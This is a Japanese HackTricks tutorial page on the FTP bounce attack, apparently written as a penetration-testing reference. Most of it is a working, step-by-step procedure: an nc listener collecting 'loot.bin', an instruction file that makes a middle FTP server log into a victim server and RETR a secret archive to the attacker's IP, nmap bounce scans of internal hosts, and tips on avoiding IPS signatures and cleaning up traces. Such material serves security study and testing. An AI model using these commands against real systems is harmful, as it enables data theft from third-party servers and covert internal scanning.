FTP Bounce Download 2 of FTP File
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
もし bounce FTP server にアクセスできる場合、(認証情報を知っている)another FTP server にそのファイルを要求させ、そのファイルを your own server にダウンロードすることができます。
要件
- FTP Middle server に対する有効なFTP資格情報
- Victim FTP server に対する有効なFTP資格情報
- 両方のサーバーが
PORTコマンドを受け付ける(bounce FTP attack) - FTP Middle server のいずれかのディレクトリに 書き込み ができること
- FTP Middle server が Victim FTP server 内であなたより多くの権限を持っていること
手順
- 自分の your own FTP server に接続し、接続をパッシブにする(
pasvコマンド)ことで Victim FTP server がファイルを送信するディレクトリで 待ち受け します。 - FTP Middle server が Victim server に送るファイル(exploit script)を作成します。このファイルは Victim server に対する認証、ディレクトリ移動、そして your own server へのファイルダウンロードに必要なコマンドを含むプレーンテキストになります。
- FTP Middle Server に接続し、先ほど作成したファイルをアップロードします。
- FTP Middle server に Victim server への接続を確立させ、exploit file を送信させます。
- 自分の your own FTP server でファイルを取得します。
- FTP Middle server から exploit file を削除します。
Quick check for vulnerable bounce hosts
- Nmap は依然として FTP bounce checks をサポートしています。潜在的な middle server を検証する例:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
If the server refuses third‑party PORT values the scan will fail; some embedded/legacy printers, NAS and appliance FTP daemons still allow it.
第2の FTP ダウンロードを自動化する
以下は、脆弱な中継 FTP サーバーを経由してファイルを取得するモダンな方法です。
- 攻撃マシンで passive listener を起動する(任意の TCP sink で可):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
自分のIPを
A,B,C,Dとして、ポートPをp1,p2としてメモする(p1 = P/256、p2 = P%256)。 -
中継サーバーが被害者にリプレイする instruction ファイルを作成する:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- 中継サーバーからアップロードしてトリガーする(classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- listener からファイルを取得する (
loot.bin)。 - 中継サーバー上のアップロードした
instrsファイルを削除してクリーンアップする。
Notes:
- Padding (
dd ...) はRETRが完了する前にコントロール接続が閉じられるのを防ぐ(大きな TCP ウィンドウの問題は古典的な解説で議論されている)。 - TCP を受けてダンプできる任意のサービスは FTP PASV ソケットの代替になり得る(例:
socat -u TCP-LISTEN:2121,fork - > loot.bin)。 - 中継サーバーが特権ポートを制限している場合は、
PORTに高いポートを指定し、リスナーを適宜調整する。
追加の小技
- ファイルリレーがブロックされている場合、bounceable FTP サーバーを使って内部ホストを port-scan internal hosts する:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- 一部の現代的な WAF/IDS(例: Juniper IPS)は特に FTP:EXPLOIT:BOUNCE-ATTACK 用のシグネチャを搭載しているため、ノイジーなペイロードやパディング不足は検知を誘発する可能性がある。
- 中継サーバーが「PORT を同一ホストに限定する」制約を課す場合は、(書き込み/実行権があるなら)中継サーバー自身に listener を置き、取得したファイルを後で転送する。
より詳細なオールドスクールな手順については次を参照: http://www.ouah.org/ftpbounce.html
References
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


